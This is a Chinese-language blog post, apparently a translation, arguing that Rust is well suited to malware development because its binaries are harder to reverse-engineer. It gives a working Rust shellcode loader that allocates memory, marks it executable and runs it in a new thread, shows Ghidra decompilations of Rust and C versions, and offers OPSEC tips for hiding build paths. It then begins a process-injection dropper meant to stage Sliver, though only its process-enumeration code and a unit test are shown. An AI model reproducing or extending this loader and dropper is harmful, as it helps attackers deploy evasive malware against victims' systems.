Rust在恶意软件开发中的优势与实践

本文探讨了使用Rust语言开发恶意软件的优点,包括其反分析特性和对逆向工程的挑战。通过一个简单的shellcode投放器实例,展示了Rust如何更好地模拟现代攻击技术。

Rust在恶意软件开发中的优势与实践

引言

2025年,我决定深入学习恶意软件开发,以补充我在Web应用和API渗透测试方面的经验。我选择Rust作为主要编程语言,因为它具有固有的反分析特性,能够开发更具规避性的工具。本文将比较使用Rust和C语言开发恶意软件的差异,并通过一个简单的恶意软件投放器进行演示。

Rust与C语言的对比分析

近年来,Go、Nim和Rust等语言在恶意软件作者中越来越受欢迎,主要基于两个假设:

  1. 使用这些语言编译的二进制文件比C/C++更难进行逆向工程或分析。
  2. 用非常规语言开发的恶意软件更可能绕过基于签名的检测机制。

2023年,罗切斯特理工学院发表了一篇论文,通过对比分析Rust和C/C++开发的恶意软件来验证这些假设。研究结果总结如下:

  • Rust二进制文件的大小显著大于C/C++,这可能增加逆向工程的工作量和复杂性。
  • 自动化恶意软件分析工具在分析Rust编程语言编译的恶意软件时产生更多误报和漏报。
  • 现状逆向工程工具如Ghidra和IDA Free在反汇编Rust二进制文件方面不如C/C++。

为了探索这些结果,我们可以分析和比较功能相同的shellcode加载器样本。具体来说,一个用Rust开发,另一个用C开发。我们的恶意软件样本将执行以下操作:

  • 从文件中读取原始shellcode字节,启动calc.exe。
  • 使用Windows API在本地进程的内存中写入并执行shellcode。

例如,Rust代码片段如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
use std::fs::File;
use std::ptr;
use std::io::{self, Read};
use windows::Win32::{
    System::{
        Threading::{CreateThread, WaitForSingleObject, THREAD_CREATION_FLAGS, INFINITE},
        Memory::{VirtualAlloc, VirtualProtect, MEM_COMMIT, MEM_RESERVE, PAGE_READWRITE, PAGE_EXECUTE_READWRITE, PAGE_PROTECTION_FLAGS},
    },
    Foundation::CloseHandle
};

fn main() {
    let mut shellcode_bytes = File::open("shellcode/calc.bin").unwrap();
    let mut payload_vec = Vec::new();
    shellcode_bytes.read_to_end(&mut payload_vec);

    unsafe {
        let l_address = VirtualAlloc(Some(ptr::null_mut()), payload_vec.len(), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
        ptr::copy(payload_vec.as_ptr(), l_address as *mut u8, payload_vec.len());
        VirtualProtect(l_address, payload_vec.len(), PAGE_EXECUTE_READWRITE, &mut PAGE_PROTECTION_FLAGS(0));
        let h_thread = CreateThread(Some(ptr::null()), 0, Some(std::mem::transmute(l_address)), Some(ptr::null()), THREAD_CREATION_FLAGS(0), Some(ptr::null_mut())).unwrap();
        WaitForSingleObject(h_thread, INFINITE);
        CloseHandle(h_thread);
    };
    println!("[!] Success! Executed shellcode.");
}

代码首先从shellcode/calc.bin读取shellcode,并将结果存储在缓冲区中。随后,代码根据缓冲区的大小在本地进程中分配一块内存。然后将shellcode复制到分配的内存中。最后,修改内存区域的保护权限,并在新线程中执行shellcode。为了简洁起见,C语言的等效代码可以在我们的Github上参考。

编译两个程序后,我们可以立即看到Rust程序明显更大:

1
2
3
4
5
PS > dir
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         2/18/2025  5:19 PM          73374 c_malware.exe
-a----         2/18/2025  4:10 PM         155136 rust_malware.exe

编译的C程序文件大小为71.7 KB,而Rust程序的发布构建大小几乎翻倍,达到151.5 KB。使用默认编译器优化设置时,Rust会在编译时静态链接依赖项。这意味着程序所需的所有库都直接编译到可执行文件中,包括大部分Rust标准库和运行时库。相比之下,C通常使用动态链接,利用系统上安装的外部库。虽然较大的文件大小可能被视为缺点,但它们也可能增加逆向工程Rust恶意软件的工作量和复杂性。

我们还可以通过查看两个程序的Ghidra反编译输出来确定Rust恶意软件是否更难逆向工程。为了简洁起见,我们将使用Ghidra输出,并不在分析中包含IDA Free。现在让我们看看Rust恶意软件的反编译main函数,与上面的代码进行比较。

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
uint uVar1;
BOOL BVar2;
longlong extraout_RAX;
LPTHREAD_START_ROUTINE lpStartAddress;
undefined **hHandle;
int iVar3;
char *pcVar4;
longlong *plVar5;
SIZE_T SVar6;
longlong alStack_80 [3];
DWORD DStack_64;
undefined **ppuStack_60;
undefined8 uStack_58;
undefined8 *puStack_50;
undefined **ppuStack_48;
undefined8 uStack_40;
undefined8 uStack_38;
undefined4 uStack_30;
undefined4 uStack_2c;
undefined4 uStack_28;
undefined2 uStack_24;
undefined2 uStack_22;
undefined8 uStack_18;

uStack_18 = 0xfffffffffffffffe;
ppuStack_48 = (undefined **)((ulonglong)ppuStack_48 & 0xffffffff00000000);
uStack_40._0_4_ = 0;
uStack_40._4_4_ = 0;
uStack_38 = 0;
uStack_30 = 7;
uStack_2c = 0;
uStack_24 = 0;
uStack_28 = 1;
pcVar4 = "shellcode/shellcode.binsrc\\main.rs";
uVar1 = std::fs::OpenOptions::_open((char *)&ppuStack_48,0x4001c470,0x17);
if ((uVar1 & 1) != 0) {
    ppuStack_48 = (undefined **)pcVar4;
    core::result::unwrap_failed();
}
alStack_80[0] = 0;
alStack_80[1] = 1;
alStack_80[2] = 0;
plVar5 = alStack_80;
ppuStack_60 = (undefined **)pcVar4;
std::fs::impl$8::read_to_end();
if ((extraout_RAX != 0) && (((uint)plVar5 & 3) == 1)) {
    uStack_58 = *(undefined8 *)((longlong)plVar5 + -1);
    puStack_50 = *(undefined8 **)((longlong)plVar5 + 7);
    if ((code *)*puStack_50 != (code *)0x0) {
        (*(code *)*puStack_50)(uStack_58);
    }
    if (puStack_50[1] != 0) {
        std::alloc::__default_lib_allocator::__rust_dealloc();
    }
    std::alloc::__default_lib_allocator::__rust_dealloc();
}
lpStartAddress = (LPTHREAD_START_ROUTINE)VirtualAlloc((LPVOID)0x0,alStack_80[2],0x3000,4);
DStack_64 = 0;
SVar6 = alStack_80[2];
BVar2 = VirtualProtect(lpStartAddress,alStack_80[2],0x40,&DStack_64);
iVar3 = (int)SVar6;
if (BVar2 == 0) {
    ppuStack_48 = (undefined **)windows_result::error::Error::from_win32();
    uStack_40._0_4_ = iVar3;
    if (ppuStack_48 != (undefined **)0x0 && iVar3 != 0) {
        _<>::drop(&ppuStack_48);
    }
}
iVar3 = 0;
hHandle = (undefined **)
        CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,lpStartAddress,(LPVOID)0x0,0,(LPDWORD)0x0);
if ((longlong)hHandle + 1U < 2) {
    hHandle = (undefined **)windows_result::error::Error::from_win32();
    if (iVar3 != 0) {
        uStack_40 = CONCAT44(uStack_40._4_4_,iVar3);
        ppuStack_48 = hHandle;
        core::result::unwrap_failed();
    }
}
iVar3 = -1;
WaitForSingleObject(hHandle,0xffffffff);
BVar2 = CloseHandle(hHandle);
if (BVar2 == 0) {
    ppuStack_48 = (undefined **)windows_result::error::Error::from_win32();
    uStack_40 = CONCAT44(uStack_40._4_4_,iVar3);
    if (ppuStack_48 != (undefined **)0x0 && iVar3 != 0) {
        _<>::drop(&ppuStack_48);
    }
}
ppuStack_48 = &PTR_s_[!]_Success!_Executed_shellcode._14001c4e8;
uStack_40 = 1;
uStack_38 = 8;
uStack_30 = 0;
uStack_2c = 0;
uStack_28 = 0;
uStack_24 = 0;
uStack_22 = 0;
std::io::stdio::_print();
if (alStack_80[0] != 0) {
    std::alloc::__default_lib_allocator::__rust_dealloc();
}
CloseHandle(ppuStack_60);
return;

上面的反编译输出难以阅读和理解。Ghidra无法正确反编译Rust程序的原因可能是:

  • Ghidra尝试将Rust程序反编译为伪C;语言之间内存管理和优化的差异导致难以理解的伪代码。
  • rustc在编译期间执行了许多优化,导致函数边界不清晰,并且高度优化的汇编(ASM)难以解释。

第二点可以通过比较以下Rust程序在不同编译器优化级别下的ASM来观察:

1
2
3
4
5
6
7
8
fn add(a: i32, b: i32) -> i32 {
    a + b
}

fn main() {
    let x = add(3, 4);
    println!("{}", x);
}

我们的程序简单地定义了一个函数add,并在main函数中调用它,传入两个参数。接下来,我们可以使用以下rustc命令将程序编译为未优化和优化的ASM:

1
2
PS > rustc -C opt-level=0 --emit asm -o unoptimized.s src/main.rs
PS > rustc -C opt-level=3 --emit asm -o optimized.s src/main.rs

我们可以使用vim -d unoptimized.s optimized.s比较优化和未优化的ASM:

如左侧优化后的ASM所示,add函数的符号定义缺失,表明该函数可能在编译时被rustc优化内联。

值得注意的是,与C++类似,Rust执行符号名称修饰,具有特定于Rust的语义。然而,Ghidra在11.0版本中引入了Rust符号名称解修饰。在11.0版本之前,原生Rust不支持名称解修饰,这使得逆向工程更加困难。但自那时以来已经取得了重大进展,可以在反编译输出中看到尝试解修饰符号的字符串,例如std::fs::impl$8::read_to_end();,这对应于我们原始代码中的shellcode_bytes.read_to_end(&mut payload_vec);。

相比之下,反编译的C程序更容易审查:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int __cdecl main(int _Argc,char **_Argv,char **_Env)
{
    DWORD local_34;
    HANDLE local_30;
    LPTHREAD_START_ROUTINE local_28;
    void *local_20;
    int local_14;
    FILE *local_10;

    __main();
    local_10 = fopen("shellcode/calc.bin","rb");
    fseek(local_10,0,2);
    local_14 = ftell(local_10);
    rewind(local_10);
    local_20 = malloc((longlong)local_14);
    fread(local_20,1,(longlong)local_14,local_10);
    fclose(local_10);
    local_28 = (LPTHREAD_START_ROUTINE)VirtualAlloc((LPVOID)0x0,(longlong)local_14,0x3000,4);
    memcpy(local_28,local_20,(longlong)local_14);
    free(local_20);
    VirtualProtect(local_28,(longlong)local_14,0x40,&local_34);
    local_30 = CreateThread((LPSECURITY_ATTRIBUTES)0x0,0,local_28,(LPVOID)0x0,0,(LPDWORD)0x0);
    WaitForSingleObject(local_30,0xffffffff);
    CloseHandle(local_30);
    printf("[!] Success! Executed shellcode.\n");
    return 0;
}

C程序的反编译输出比其Rust对应物更接近源代码。此外,在Ghidra中,关键函数和变量在C程序的符号树中更容易识别。

一个重要的操作安全(OPSEC)考虑是,Rust会在编译的二进制文件中包含绝对文件路径,主要用于调试目的。因此,如果OPSEC对您很重要,在不暴露识别特征的环境中编译是一个好主意。

1
2
3
$ strings ./rust_malware.exe | grep Nick
C:\Users\Nick\.rustup\toolchains\stable-x86_64-pc-windows-msvc\lib/rustlib/src/rust\library\alloc\src\raw_vec.rs
C:\Users\Nick\.rustup\toolchains\stable-x86_64-pc-windows-msvc\lib/rustlib/src/rust\library\alloc\src\string.rs

总之,Rust可能是开发恶意软件时C/C++的一个很好的替代品。虽然Ghidra的11.0版本标志着在反编译和分析Rust二进制文件方面迈出了重要一步,但由于函数内联和rustc在编译时进行的其他优化,审查Rust程序的反编译输出仍然很困难。此外,较大的结果二进制文件可能使分析Rust恶意软件比其C对应物更耗时。看看Ghidra团队或开源社区未来将做出哪些改进以使Rust恶意软件的静态分析更容易,将会很有趣。

开发Rust恶意软件投放器

现在有了Rust是恶意软件开发的不错选择的肯定,让我们构建一个投放器来演示。投放器是一种恶意软件,旨在将额外的恶意软件安装到计算机上。出于我们的目的,我们将开发一个执行以下操作的投放器:

  • 枚举目标上的进程以注入我们的有效负载
  • 使用文件映射注入技术执行有效负载
  • 通过HTTPS暂存sliver

请注意,以下恶意软件并不全面,可以从OPSEC和规避角度进行多项改进。以下代码片段仅用于说明Rust如何用于恶意软件开发。

首先,我们将初始化我们的Rust项目并创建我们的第一个模块enumerate_processes.rs:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
use windows::{
    Win32::System::ProcessStatus::EnumProcesses,
    Win32::Foundation::{CloseHandle, HMODULE},
    Win32::System::Threading::{OpenProcess, PROCESS_QUERY_INFORMATION, PROCESS_VM_READ},
    Win32::System::ProcessStatus::{GetModuleBaseNameW}
};

pub fn get_process_pids() -> Vec<u32> {
    let mut pids = vec![0u32; 1024];
    let mut cb = 0u32;

    unsafe {
        loop {
            if EnumProcesses(pids.as_mut_ptr(), pids.len() as u32, &mut cb).is_err() {
                return vec![];
            };

            let num_pids = (cb as usize) / size_of::<u32>();

            if num_pids < pids.len() {
                pids.truncate(num_pids);
                return pids;
            }

            pids.resize(pids.len() * 2, 0);
        }
    }
}

pub fn get_process_name(pid: u32) -> String {
    let mut name_buffer: [u16; 260] = [0; 260];

    unsafe {
        let hresult = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, false, pid);

        if hresult.is_err() {
            return String::from("");
        };

        let handle = hresult.unwrap();

        let module_name_len = GetModuleBaseNameW(handle, Some(HMODULE::default()), &mut name_buffer);

        CloseHandle(handle);

        if module_name_len == 0 {
            return String::from("");
        }

        return String::from_utf16_lossy(&name_buffer[..module_name_len as usize]);
    }
}

上面的代码利用了几个Windows API来枚举目标系统上的远程进程。具体来说,使用了以下API:

  • EnumProcesses - 检索系统中每个进程的进程标识符(PID),并将结果存储在数组中。
  • OpenProcess - 使用指定的PID打开对现有本地进程对象的句柄。
  • GetModuleBaseNameW - 使用对进程的打开句柄检索进程名称。

我们可以在同一文件中快速创建一个单元测试来验证上面的代码是否按预期工作。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
#[cfg(test)]
mod tests {
    use super::*;

    #[test]
    fn test_enumerate_processes() {
        let pids = get_process_pids();

        let has_svchost = pids.iter().any(|&pid| {
            match get_process_name(pid) {
                name => name == "svchost.exe",
                _ => false
            }
        });

        assert!(has_svchost, "No svchost.exe process found");
    }
}

运行cargo test后,我们得到以下输出,表明代码成功识别了svchost.exe进程。

1
PS >
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计